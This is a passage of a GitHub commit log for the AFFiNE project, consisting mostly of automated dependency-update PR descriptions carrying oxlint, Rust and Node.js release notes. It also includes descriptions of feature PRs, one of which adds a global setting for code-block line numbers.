[`21b6c3d`](https://redirect.github.com/oxc-project/oxc/commit/21b6c3d) linter: Add schema for `oxc/no-async-endpoint-handlers` ([#​23251](https://redirect.github.com/oxc-project/oxc/issues/23251)) (Sysix) - [`e77ff81`](https://redirect.github.com/oxc-project/oxc/commit/e77ff81) linter: Add schema for `unicorn/prefer-object-from-entries` ([#​23249](https://redirect.github.com/oxc-project/oxc/issues/23249)) (Mikhail Baev) - [`bcac2d6`](https://redirect.github.com/oxc-project/oxc/commit/bcac2d6) linter: Add schema for `jest/vitest/no-restricted-matchers` ([#​23247](https://redirect.github.com/oxc-project/oxc/issues/23247)) (Sysix) - [`539f036`](https://redirect.github.com/oxc-project/oxc/commit/539f036) linter: Add schema for `jest/vitest/no-restricted-*-methods` ([#​23246](https://redirect.github.com/oxc-project/oxc/issues/23246)) (Sysix) - [`dd1b927`](https://redirect.github.com/oxc-project/oxc/commit/dd1b927) linter/vue: Implement require-default-prop rule ([#​22951](https://redirect.github.com/oxc-project/oxc/issues/22951)) (bab) - [`3f018e7`](https://redirect.github.com/oxc-project/oxc/commit/3f018e7) linter: Add schema for `unicorn/no-instanceof-builtins` ([#​23225](https://redirect.github.com/oxc-project/oxc/issues/23225)) (Mikhail Baev) - [`e0d0f78`](https://redirect.github.com/oxc-project/oxc/commit/e0d0f78) linter: Verify promise/no-callback-in-promise schema ([#​23141](https://redirect.github.com/oxc-project/oxc/issues/23141)) (beanscg) - [`123d4f4`](https://redirect.github.com/oxc-project/oxc/commit/123d4f4) linter: Add schema for `jest/vitest/valid-expect` ([#​23185](https://redirect.github.com/oxc-project/oxc/issues/23185)) (Sysix) - [`46c8a21`](https://redirect.github.com/oxc-project/oxc/commit/46c8a21) linter: Add schema for `jest/vitest/require-top-level-describe` ([#​23184](https://redirect.github.com/oxc-project/oxc/issues/23184)) (Sysix) - [`41465cf`](https://redirect.github.com/oxc-project/oxc/commit/41465cf) linter: Add schema for `jest/vitest/prefer-snapshot-hint` ([#​23183](https://redirect.github.com/oxc-project/oxc/issues/23183)) (Sysix) - [`d068b9b`](https://redirect.github.com/oxc-project/oxc/commit/d068b9b) linter: Add schema for `jest/vitest/prefer-expect-assertions` ([#​23181](https://redirect.github.com/oxc-project/oxc/issues/23181)) (Sysix) - [`064a1ee`](https://redirect.github.com/oxc-project/oxc/commit/064a1ee) linter: Add schema for `jest/prefer-ending-with-an-expect` ([#​23180](https://redirect.github.com/oxc-project/oxc/issues/23180)) (Sysix) - [`d046797`](https://redirect.github.com/oxc-project/oxc/commit/d046797) linter: Add schema for `jest/vitest/no-standalone-expect` ([#​23179](https://redirect.github.com/oxc-project/oxc/issues/23179)) (Sysix) - [`137b9a6`](https://redirect.github.com/oxc-project/oxc/commit/137b9a6) linter: Add schema for `jest/vitest/no-large-snapshots` ([#​23178](https://redirect.github.com/oxc-project/oxc/issues/23178)) (Sysix) - [`0f3e4a5`](https://redirect.github.com/oxc-project/oxc/commit/0f3e4a5) linter: Add schema for `jest/vitest/no-hooks` ([#​23177](https://redirect.github.com/oxc-project/oxc/issues/23177)) (Sysix) - [`cd0b384`](https://redirect.github.com/oxc-project/oxc/commit/cd0b384) linter: Add schema for `unicorn/explicit-length-check` ([#​23155](https://redirect.github.com/oxc-project/oxc/issues/23155)) (Mikhail Baev) - [`01b74c4`](https://redirect.github.com/oxc-project/oxc/commit/01b74c4) linter: Add schema for `jest/no-deprecated-functions` ([#​23136](https://redirect.github.com/oxc-project/oxc/issues/23136)) (Sysix) - [`9d6a387`](https://redirect.github.com/oxc-project/oxc/commit/9d6a387) linter: Add schema for `unicorn/catch-error-name` ([#​23137](https://redirect.github.com/oxc-project/oxc/issues/23137)) (Mikhail Baev) - [`0da8efa`](https://redirect.github.com/oxc-project/oxc/commit/0da8efa) linter: Add schema for `jest/vitest/max-nested-describe` ([#​23131](https://redirect.github.com/oxc-project/oxc/issues/23131)) (Sysix) - [`d71c9fd`](https://redirect.github.com/oxc-project/oxc/commit/d71c9fd) linter: Add schema for `eslint/no-use-before-define` ([#​23129](https://redirect.github.com/oxc-project/oxc/issues/23129)) (Sysix) ##### 🐛 Bug Fixes - [`26ddac6`](https://redirect.github.com/oxc-project/oxc/commit/26ddac6) linter: Avoid config schema generation for `jsx_a11y/no-noninteractive-element-interactions` ([#​23385](https://redirect.github.com/oxc-project/oxc/issues/23385)) (Sysix) - [`40556ad`](https://redirect.github.com/oxc-project/oxc/commit/40556ad) linter: Parse `jsx-a11y/control-has-associated-label` config with `DefaultRuleConfig` ([#​23373](https://redirect.github.com/oxc-project/oxc/issues/23373)) (Sysix) - [`71e9648`](https://redirect.github.com/oxc-project/oxc/commit/71e9648) linter: Expose no-noninteractive-element-interactions schema ([#​23283](https://redirect.github.com/oxc-project/oxc/issues/23283)) (camc314) - [`6c86d1c`](https://redirect.github.com/oxc-project/oxc/commit/6c86d1c) linter/react-perf: Correct nativeAllowList all schema ([#​23229](https://redirect.github.com/oxc-project/oxc/issues/23229)) (camc314) - [`4dd52de`](https://redirect.github.com/oxc-project/oxc/commit/4dd52de) linter/react-perf: Re-generate stale snapshots ([#​23228](https://redirect.github.com/oxc-project/oxc/issues/23228)) (camc314) - [`8f3db61`](https://redirect.github.com/oxc-project/oxc/commit/8f3db61) linter: Allow options for `eslint/capitalized-comments` ([#​23139](https://redirect.github.com/oxc-project/oxc/issues/23139)) (Sysix) ##### ⚡ Performance - [`f09707e`](https://redirect.github.com/oxc-project/oxc/commit/f09707e) linter: `jest/no-deprecated-functions` store config version as `usize` ([#​23138](https://redirect.github.com/oxc-project/oxc/issues/23138)) (Sysix) ##### 📚 Documentation - [`f682e25`](https://redirect.github.com/oxc-project/oxc/commit/f682e25) linter: Remove manually written options doc for `eslint/prefer-arrow-callback` ([#​23438](https://redirect.github.com/oxc-project/oxc/issues/23438)) (Mikhail Baev) - [`64c942c`](https://redirect.github.com/oxc-project/oxc/commit/64c942c) linter: Remove manually written options doc for `eslint/no-sequences` ([#​23420](https://redirect.github.com/oxc-project/oxc/issues/23420)) (Mikhail Baev) - [`14abf32`](https://redirect.github.com/oxc-project/oxc/commit/14abf32) linter/react-perf: Use autogenerated docs ([#​23227](https://redirect.github.com/oxc-project/oxc/issues/23227)) (camc314) ### [`v1.69.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1690---2026-06-08) [Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.68.0...oxlint_v1.69.0) ##### 🚀 Features - [`e805174`](https://redirect.github.com/oxc-project/oxc/commit/e805174) linter: Add schema for `jest/vitest/max-expects` ([#​23105](https://redirect.github.com/oxc-project/oxc/issues/23105)) (Sysix) - [`7850577`](https://redirect.github.com/oxc-project/oxc/commit/7850577) linter: Add schema for `jest/vitest/expect-expect` ([#​23104](https://redirect.github.com/oxc-project/oxc/issues/23104)) (Sysix) - [`75f641a`](https://redirect.github.com/oxc-project/oxc/commit/75f641a) linter: Add schema for `jest/vitest/consistent-test-it` ([#​23103](https://redirect.github.com/oxc-project/oxc/issues/23103)) (Sysix) - [`5125f89`](https://redirect.github.com/oxc-project/oxc/commit/5125f89) linter/unicorn: Support no-null `checkArguments` option ([#​23098](https://redirect.github.com/oxc-project/oxc/issues/23098)) (camc314) - [`b8b9797`](https://redirect.github.com/oxc-project/oxc/commit/b8b9797) linter: Add schema for `import-max-dependencies` ([#​23096](https://redirect.github.com/oxc-project/oxc/issues/23096)) (Sysix) - [`65cb47a`](https://redirect.github.com/oxc-project/oxc/commit/65cb47a) linter/eslint: Support no-unused-expressions `ignoreDirectives` option ([#​23097](https://redirect.github.com/oxc-project/oxc/issues/23097)) (camc314) - [`f6c36d5`](https://redirect.github.com/oxc-project/oxc/commit/f6c36d5) linter: Add schema for `import/prefer-default-export` ([#​23091](https://redirect.github.com/oxc-project/oxc/issues/23091)) (Sysix) - [`0d4a5d1`](https://redirect.github.com/oxc-project/oxc/commit/0d4a5d1) linter: Add schema for `eslint/sort-vars` ([#​23090](https://redirect.github.com/oxc-project/oxc/issues/23090)) (Sysix) - [`fdb5bf5`](https://redirect.github.com/oxc-project/oxc/commit/fdb5bf5) linter: Add schema for `eslint/radix` ([#​23082](https://redirect.github.com/oxc-project/oxc/issues/23082)) (Sysix) - [`05b4dcf`](https://redirect.github.com/oxc-project/oxc/commit/05b4dcf) linter: Add schema for `eslint/prefer-const` ([#​23081](https://redirect.github.com/oxc-project/oxc/issues/23081)) (Sysix) - [`5a06c4d`](https://redirect.github.com/oxc-project/oxc/commit/5a06c4d) linter/vue: Implement next-tick-style rule ([#​23041](https://redirect.github.com/oxc-project/oxc/issues/23041)) (Alex Peshkov) - [`e38a36a`](https://redirect.github.com/oxc-project/oxc/commit/e38a36a) linter: Add schema for `eslint/operator-assignment` ([#​23080](https://redirect.github.com/oxc-project/oxc/issues/23080)) (Sysix) - [`907cee7`](https://redirect.github.com/oxc-project/oxc/commit/907cee7) linter: Add schema for `eslint/no-warning-comments` ([#​23075](https://redirect.github.com/oxc-project/oxc/issues/23075)) (Sysix) - [`9470bb2`](https://redirect.github.com/oxc-project/oxc/commit/9470bb2) linter: Add schema for `eslint/no-unused-vars` ([#​23073](https://redirect.github.com/oxc-project/oxc/issues/23073)) (Sysix) - [`234b5cf`](https://redirect.github.com/oxc-project/oxc/commit/234b5cf) linter: Add schema for `eslint/no-shadow` ([#​23072](https://redirect.github.com/oxc-project/oxc/issues/23072)) (Sysix) - [`de0dd8b`](https://redirect.github.com/oxc-project/oxc/commit/de0dd8b) linter: Add schema for `eslint/no-restricted-exports` ([#​23020](https://redirect.github.com/oxc-project/oxc/issues/23020)) (Sysix) - [`faa3e0d`](https://redirect.github.com/oxc-project/oxc/commit/faa3e0d) linter: Add schema for `eslint/no-param-reassign` ([#​23018](https://redirect.github.com/oxc-project/oxc/issues/23018)) (Sysix) - [`dbc9c27`](https://redirect.github.com/oxc-project/oxc/commit/dbc9c27) linter: Add schema for `eslint/no-magic-numbers` ([#​23017](https://redirect.github.com/oxc-project/oxc/issues/23017)) (Sysix) - [`38d3569`](https://redirect.github.com/oxc-project/oxc/commit/38d3569) linter: Add schema for `eslint/no-inner-declarations` ([#​23016](https://redirect.github.com/oxc-project/oxc/issues/23016)) (Sysix) - [`008fa41`](https://redirect.github.com/oxc-project/oxc/commit/008fa41) linter: Add schema for `eslint/no-constant-condition` ([#​22991](https://redirect.github.com/oxc-project/oxc/issues/22991)) (Sysix) - [`ca44623`](https://redirect.github.com/oxc-project/oxc/commit/ca44623) linter: Add schema for `eslint/no-empty-function` ([#​22988](https://redirect.github.com/oxc-project/oxc/issues/22988)) (Sysix) - [`43eb04d`](https://redirect.github.com/oxc-project/oxc/commit/43eb04d) linter: Add schema for `eslint/id-match` ([#​22987](https://redirect.github.com/oxc-project/oxc/issues/22987)) (Sysix) - [`a800f27`](https://redirect.github.com/oxc-project/oxc/commit/a800f27) linter: Add schema for `eslint/capitalized-comments` ([#​22984](https://redirect.github.com/oxc-project/oxc/issues/22984)) (Sysix) - [`96e2d32`](https://redirect.github.com/oxc-project/oxc/commit/96e2d32) linter: Add schema for `eslint/id-length` ([#​22963](https://redirect.github.com/oxc-project/oxc/issues/22963)) (Sysix) - [`545493f`](https://redirect.github.com/oxc-project/oxc/commit/545493f) linter: Add schema for `eslint/complexity` ([#​22960](https://redirect.github.com/oxc-project/oxc/issues/22960)) (Sysix) - [`5f0b558`](https://redirect.github.com/oxc-project/oxc/commit/5f0b558) linter: Add schema for `eslint/class-methods-use-this` ([#​22959](https://redirect.github.com/oxc-project/oxc/issues/22959)) (Sysix) - [`719b720`](https://redirect.github.com/oxc-project/oxc/commit/719b720) linter: Add schema for simple rule configurations ([#​22948](https://redirect.github.com/oxc-project/oxc/issues/22948)) (Sysix) - [`fd00966`](https://redirect.github.com/oxc-project/oxc/commit/fd00966) linter: Add right schema for `eslint/max-*` rules ([#​22923](https://redirect.github.com/oxc-project/oxc/issues/22923)) (Sysix) - [`1226d78`](https://redirect.github.com/oxc-project/oxc/commit/1226d78) linter: Fill schema with rule configurations ([#​22907](https://redirect.github.com/oxc-project/oxc/issues/22907)) (Sysix) - [`8f423c1`](https://redirect.github.com/oxc-project/oxc/commit/8f423c1) linter/vue: Implement `require-direct-export` rule ([#​17623](https://redirect.github.com/oxc-project/oxc/issues/17623)) (yefan) - [`78e915b`](https://redirect.github.com/oxc-project/oxc/commit/78e915b) linter/vue: Implement no-reserved-props rule ([#​22914](https://redirect.github.com/oxc-project/oxc/issues/22914)) (bab) - [`0f200a9`](https://redirect.github.com/oxc-project/oxc/commit/0f200a9) linter/vue: Implement require-prop-types rule ([#​22083](https://redirect.github.com/oxc-project/oxc/issues/22083)) (Alex Peshkov) - [`5da9da9`](https://redirect.github.com/oxc-project/oxc/commit/5da9da9) linter/vue: Implement no-reserved-keys rule ([#​21780](https://redirect.github.com/oxc-project/oxc/issues/21780)) (bab) - [`75e14a8`](https://redirect.github.com/oxc-project/oxc/commit/75e14a8) linter/vue: Implement prop-name-casing rule ([#​22892](https://redirect.github.com/oxc-project/oxc/issues/22892)) (bab) ##### 🐛 Bug Fixes - [`0383e61`](https://redirect.github.com/oxc-project/oxc/commit/0383e61) linter: Fix schema for rules without a config ([#​22946](https://redirect.github.com/oxc-project/oxc/issues/22946)) (Sysix) ##### 📚 Documentation - [`dadafe3`](https://redirect.github.com/oxc-project/oxc/commit/dadafe3) oxlint, oxfmt: Mention migrate skills in npm READMEs ([#​22965](https://redirect.github.com/oxc-project/oxc/issues/22965)) (Boshen) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
renovate[bot]
|
df86d52594 |
chore: bump up Rust to v1.97.1 (#15389)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [rust](https://rust-lang.org/) ([source](https://redirect.github.com/rust-lang/rust), [changelog](https://redirect.github.com/rust-lang/rust/blob/main/RELEASES.md)) | toolchain | minor | `1.96.0` → `1.97.1` | --- ### Release Notes <details> <summary>rust-lang/rust (rust)</summary> ### [`v1.97.1`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1971-2026-07-16) [Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.97.0...1.97.1) \========================== <a id="1.97.1"></a> - [rustc: Fix miscompilation in LLVM optimization](https://redirect.github.com/rust-lang/rust/issues/159035) This backports an LLVM submodule bump to include the LLVM-side fix and a revert of the rustc change that is one known trigger for the bug. The rustc side revert should not be strictly necessary but is done out of abundance of caution. ### [`v1.97.0`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1970-2026-07-09) [Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.96.1...1.97.0) \========================== <a id="1.97.0-Language"></a> ## Language - [Consider `Result<T, Uninhabited>` and `ControlFlow<Uninhabited, T>` to be equivalent to `T` for must use lint](https://redirect.github.com/rust-lang/rust/pull/148214) - [Add allow-by-default `dead_code_pub_in_binary` lint for unused pub items in binary crates](https://redirect.github.com/rust-lang/rust/pull/149509) - [Stabilize the `div32`, `lam-bh`, `lamcas`, `ld-seq-sa` and `scq` target features](https://redirect.github.com/rust-lang/rust/pull/154510) - [Stabilize `cfg(target_has_atomic_primitive_alignment)`](https://redirect.github.com/rust-lang/rust/pull/155006) - [Allow trailing `self` in imports in more cases](https://redirect.github.com/rust-lang/rust/pull/155137) <a id="1.97.0-Platform-Support"></a> ## Platform Support - [nvptx64-nvidia-cuda: drop support for old architectures and old ISAs](https://redirect.github.com/rust-lang/rust/pull/152443) Refer to Rust's [platform support page][platform-support-doc] for more information on Rust's tiered platform support. [platform-support-doc]: https://doc.rust-lang.org/rustc/platform-support.html <a id="1.97.0-Stabilized-APIs"></a> ## Stabilized APIs - [`Default for RepeatN`](https://doc.rust-lang.org/stable/std/iter/struct.RepeatN.html#impl-Default-for-RepeatN%3CA%3E) - [`Copy for ffi::FromBytesUntilNulError`](https://doc.rust-lang.org/stable/std/ffi/struct.FromBytesUntilNulError.html#impl-Copy-for-FromBytesUntilNulError) - [`Send for std::fs::File` on UEFI](https://redirect.github.com/rust-lang/rust/pull/154003) - [`<{integer}>::isolate_highest_one`](https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_highest_one) - [`<{integer}>::isolate_lowest_one`](https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_lowest_one) - [`<{integer}>::highest_one`](https://doc.rust-lang.org/stable/std/primitive.u32.html#method.highest_one) - [`<{integer}>::lowest_one`](https://doc.rust-lang.org/stable/std/primitive.u32.html#method.lowest_one) - [`<{integer}>::bit_width`](https://doc.rust-lang.org/stable/std/primitive.u32.html#method.bit_width) - [`NonZero<{integer}>::isolate_highest_one`](https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_highest_one) - [`NonZero<{integer}>::isolate_lowest_one`](https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_lowest_one) - [`NonZero<{integer}>::highest_one`](https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.highest_one) - [`NonZero<{integer}>::lowest_one`](https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.lowest_one) - [`NonZero<{integer}>::bit_width`](https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.bit_width) These previously stable APIs are now stable in const contexts: - [`char::is_control`](https://doc.rust-lang.org/stable/std/primitive.char.html#method.is_control) <a id="1.97.0-Cargo"></a> ## Cargo - [Stabilize `build.warnings` config.](https://redirect.github.com/rust-lang/cargo/pull/16796) This controls how lint warnings from local packages are treated. Useful for enforcing a warning-free build in CI, replacing `-Dwarnings`. [docs](https://doc.rust-lang.org/nightly/cargo/reference/config.html#buildwarnings) - [Stabilize `resolver.lockfile-path` config.](https://redirect.github.com/rust-lang/cargo/pull/16694) This allows specifying the path to the lockfile to use when resolving dependencies. Useful when working with read-only source directories. [docs](https://doc.rust-lang.org/nightly/cargo/reference/config.html#resolverlockfile-path) - [cargo-clean: Error when `--target-dir` doesn't look like a Cargo target directory.](https://redirect.github.com/rust-lang/cargo/pull/16712) This prevents accidental deletion of non-target directories. - [Add `-m` shorthand for `--manifest-path`](https://redirect.github.com/rust-lang/cargo/pull/16858) - [Remove `curl` dependency from `crates-io` crate](https://redirect.github.com/rust-lang/cargo/pull/16936) <a id="1.97.0-Rustdoc"></a> ## Rustdoc - [Stabilize `--emit` flag](https://redirect.github.com/rust-lang/rust/pull/146220) - [Stabilize `--remap-path-prefix`](https://redirect.github.com/rust-lang/rust/pull/155307) <a id="1.97.0-Compatibility-Notes"></a> ## Compatibility Notes - [Emit a future-compatibility warning when relying on `f32: From<{float}>` to constrain `{float}`](https://redirect.github.com/rust-lang/rust/pull/139087) - [Rust will use the v0 symbol mangling scheme by default.](https://redirect.github.com/rust-lang/rust/pull/151994) This may cause some tools (such as debuggers or profilers, especially with old versions) to fail to demangle symbols emitted by Rust. It may also cause the formatting of text in backtraces to change. - [Prevent deref coercions in `pin!`, in order to prevent unsoundness.](https://redirect.github.com/rust-lang/rust/pull/153457) The most likely case where this might impact users is: writing `pin!(x)` where `x` has type `&mut T` will now always correctly produce a value of type `Pin<&mut &mut T>`, instead of sometimes allowing a coercion that produces a value of type `Pin<&mut T>`. This coercion was previously incorrectly allowed since Rust 1.88.0. - [Deprecate `std::char` constants and functions](https://redirect.github.com/rust-lang/rust/pull/153873) - [Warn on linker output by default](https://redirect.github.com/rust-lang/rust/pull/153968) - [Remove hidden `f64` methods which have been deprecated since 1.0](https://redirect.github.com/rust-lang/rust/pull/153975) - [report the `varargs_without_pattern` lint in deps](https://redirect.github.com/rust-lang/rust/pull/154599) - [Forbid passing generic arguments to module path segments even if the module reexports a generic enum variant](https://redirect.github.com/rust-lang/rust/pull/154971) - [Error on invalid macho `link_section` specifier](https://redirect.github.com/rust-lang/rust/pull/155065) - The encoding of certain `enum`s [have changed](https://redirect.github.com/rust-lang/rust/pull/155473). This is not a breaking change, as it only applies to `enum`s without layout guarantees, but is noted here as we've seen people impacted from having made assumptions about the layout algorithm. - [Error on `#[export_name = "..."]` where the name is empty](https://redirect.github.com/rust-lang/rust/pull/155515) - [Syntactically reject tuple index shorthands in struct patterns](https://redirect.github.com/rust-lang/rust/pull/155698) - [validate `#[link_name = "..."]` & `#[link(name = "...")]` parameters](https://redirect.github.com/rust-lang/rust/pull/155817) - On Windows, after calling `shutdown` on a socket to shut down the write side, attempting to write to the socket will now produce a `BrokenPipe` error rather than `Other`. [Map `WSAESHUTDOWN` to `io::ErrorKind::BrokenPipe`](https://redirect.github.com/rust-lang/rust/pull/156063) ### [`v1.96.1`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1961-2026-06-30) [Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.96.0...1.96.1) \=========================== <a id="1.96.1"></a> - [Cargo: fix timeout/retry behavior](https://redirect.github.com/rust-lang/cargo/pull/17131) - [Cargo: apply patches for CVE-2025-15661, CVE-2026-55199, and CVE-2026-55200 to libssh2](https://redirect.github.com/rust-lang/cargo/pull/17140) - [rustc: fix miscompilation in MIR optimization](https://redirect.github.com/rust-lang/rust/pull/158214) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
MrX
|
6170a90785 |
feat(editor): add permanent global toggle for code block line numbers (#15381)
Add a persistent "Show line numbers in code blocks" setting to Editor Settings that controls line-number visibility across all code blocks. Individual blocks can still override the global default via the per-block More menu toggle. ## Changes - **schema.ts** - add `codeBlockLineNumbers: z.boolean().default(true)` to `AffineEditorSettingSchema` - **code-block.ts** - read `codeBlockLineNumbers` from `EditorSettingProvider` reactively via a stable `signal(true)` updated by `effect()` in `connectedCallback`; expose `showLineNumbers` getter as single source of truth used by both `renderBlock()` and the toolbar - **config.ts** - toolbar line-number toggle reads `blockComponent.showLineNumbers` (resolved state) instead of `model.props.lineNumber ?? true` - **general.tsx** - add `DefaultCodeBlockLineNumberSettings` Switch row in editor general settings - **en.json + i18n.gen.ts** - add i18n strings for the new setting - **line-numbers.spec.ts** - add 7 e2e tests covering default visibility, global toggle on/off, per-block override in both directions, multi-block, newly created blocks, and persistence across reload ## Behaviour | State | Result | |---|---| | Global ON (default), no per-block override | Line numbers shown | | Global OFF, no per-block override | Line numbers hidden | | Global OFF, per-block explicitly ON | Line numbers shown | | Global ON, per-block explicitly OFF | Line numbers hidden | | Mobile (feature flag) | Always hidden regardless of settings | ## Notes - Existing per-block toggle behaviour is fully preserved and unchanged - Default is `true` so no regression for existing users - The blocksuite-side reads `codeBlockLineNumbers` via a type cast (`as Record<string, unknown>`) because the key lives in the AFFiNE-level `EditorSettingSchema`, not in blocksuite's own `GeneralSettingSchema` - this is an intentional architectural boundary Closes #14965 <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added a global setting to show or hide line numbers in code blocks by default. * Added localized title and description text for the new setting. * Preserved per-code-block overrides through the block’s More menu. * **Bug Fixes** * Line-number visibility now stays consistent across existing and newly created code blocks, including after reloads. * **Tests** * Added end-to-end coverage for defaults, overrides, persistence, and multiple code blocks. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
758b2260f8 |
feat(server): improve ci build (#15386)
#### PR Dependency Tree * **PR #15386** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved email rendering and formatting consistency. * Preserved calendar synchronization windows while removing reliance on date utility libraries. * Enhanced cleanup of Prisma engine files, including deduplication and space-saving reporting. * **Tests** * Updated email snapshots to validate formatted HTML output. * **Refactor** * Streamlined email component usage and centralized email rendering behavior. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
renovate[bot]
|
5c38f1376c |
chore: bump up Node.js to v22.23.2 (#15384)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | patch | `22.23.1` → `22.23.2` | --- ### Release Notes <details> <summary>nodejs/node (node)</summary> ### [`v22.23.2`](https://redirect.github.com/nodejs/node/releases/tag/v22.23.2): 2026-07-29, Version 22.23.2 'Jod' (LTS), @​marco-ippolito [Compare Source](https://redirect.github.com/nodejs/node/compare/v22.23.1...v22.23.2) This is a security release. ##### Notable Changes - (CVE-2026-56846) http2: retain header memory in session accounting (Matteo Collina) – High - (CVE-2026-56848) http2: defer rst stream while in scope (Matteo Collina) – High - (CVE-2026-58043) permission: avoid granting radix split nodes (RafaelGSS) – High - (CVE-2026-56850) https: distinguish PFX object-array agent keys (RafaelGSS) – Medium - (CVE-2026-58040) https: bind identity checks to session reuse (Matteo Collina) – Medium - (CVE-2026-58042) dns: handle large resolveAny address replies (RafaelGSS) – Medium - (CVE-2026-58045) zlib: throw on out-of-bounds write buffers (RafaelGSS) – Medium - (CVE-2026-56847) permission: enforce fs write permission for trace events (RafaelGSS) – Low - (CVE-2026-58039) permission: check final report output path (RafaelGSS) – Low - (CVE-2026-58044) http: reject requests exceeding max header count (Matteo Collina) – Low - deps: update llhttp to 9.4.3 (Paolo Insogna) - deps: update undici to 6.28.0 (Node.js GitHub Bot) ##### Commits - \[[`4b12ac38a1`](https://redirect.github.com/nodejs/node/commit/4b12ac38a1)] - **deps**: update llhttp to 9.4.3 (Paolo Insogna) [nodejs-private/node-private#935](https://redirect.github.com/nodejs-private/node-private/pull/935) - \[[`3fd0aa51d0`](https://redirect.github.com/nodejs/node/commit/3fd0aa51d0)] - **deps**: update undici to 6.28.0 (Node.js GitHub Bot) [#​64714](https://redirect.github.com/nodejs/node/pull/64714) - \[[`22efc051a3`](https://redirect.github.com/nodejs/node/commit/22efc051a3)] - **(CVE-2026-58042)** **dns**: handle large resolveAny address replies (RafaelGSS) [nodejs-private/node-private#929](https://redirect.github.com/nodejs-private/node-private/pull/929) - \[[`c8525ac3a6`](https://redirect.github.com/nodejs/node/commit/c8525ac3a6)] - **(CVE-2026-58044)** **http**: reject requests exceeding max header count (Matteo Collina) [nodejs-private/node-private#932](https://redirect.github.com/nodejs-private/node-private/pull/932) - \[[`daa6d25e3d`](https://redirect.github.com/nodejs/node/commit/daa6d25e3d)] - **(CVE-2026-56848)** **http2**: defer rst stream while in scope (Matteo Collina) [nodejs-private/node-private#921](https://redirect.github.com/nodejs-private/node-private/pull/921) - \[[`f14d78b9e0`](https://redirect.github.com/nodejs/node/commit/f14d78b9e0)] - **(CVE-2026-56846)** **http2**: retain header memory in session accounting (Matteo Collina) [#​63752](https://redirect.github.com/nodejs/node/pull/63752) - \[[`51123159fe`](https://redirect.github.com/nodejs/node/commit/51123159fe)] - **(CVE-2026-58040)** **https**: bind identity checks to session reuse (Matteo Collina) [nodejs-private/node-private#934](https://redirect.github.com/nodejs-private/node-private/pull/934) - \[[`acaf4266b2`](https://redirect.github.com/nodejs/node/commit/acaf4266b2)] - **(CVE-2026-56850)** **https**: distinguish PFX object-array agent keys (RafaelGSS) [nodejs-private/node-private#930](https://redirect.github.com/nodejs-private/node-private/pull/930) - \[[`440329f624`](https://redirect.github.com/nodejs/node/commit/440329f624)] - **(CVE-2026-58043)** **permission**: avoid granting radix split nodes (RafaelGSS) [nodejs-private/node-private#911](https://redirect.github.com/nodejs-private/node-private/pull/911) - \[[`ed18b9cc07`](https://redirect.github.com/nodejs/node/commit/ed18b9cc07)] - **(CVE-2026-58039)** **permission**: check final report output path (RafaelGSS) [nodejs-private/node-private#926](https://redirect.github.com/nodejs-private/node-private/pull/926) - \[[`0566c3cccd`](https://redirect.github.com/nodejs/node/commit/0566c3cccd)] - **(CVE-2026-56847)** **permission**: enforce fs write permission for trace events (RafaelGSS) [nodejs-private/node-private#927](https://redirect.github.com/nodejs-private/node-private/pull/927) - \[[`0d072480c3`](https://redirect.github.com/nodejs/node/commit/0d072480c3)] - **(CVE-2026-58045)** **zlib**: throw on out-of-bounds write buffers (RafaelGSS) [nodejs-private/node-private#931](https://redirect.github.com/nodejs-private/node-private/pull/931) </details> --- ### Configuration 📅 **Schedule**: (UTC) - 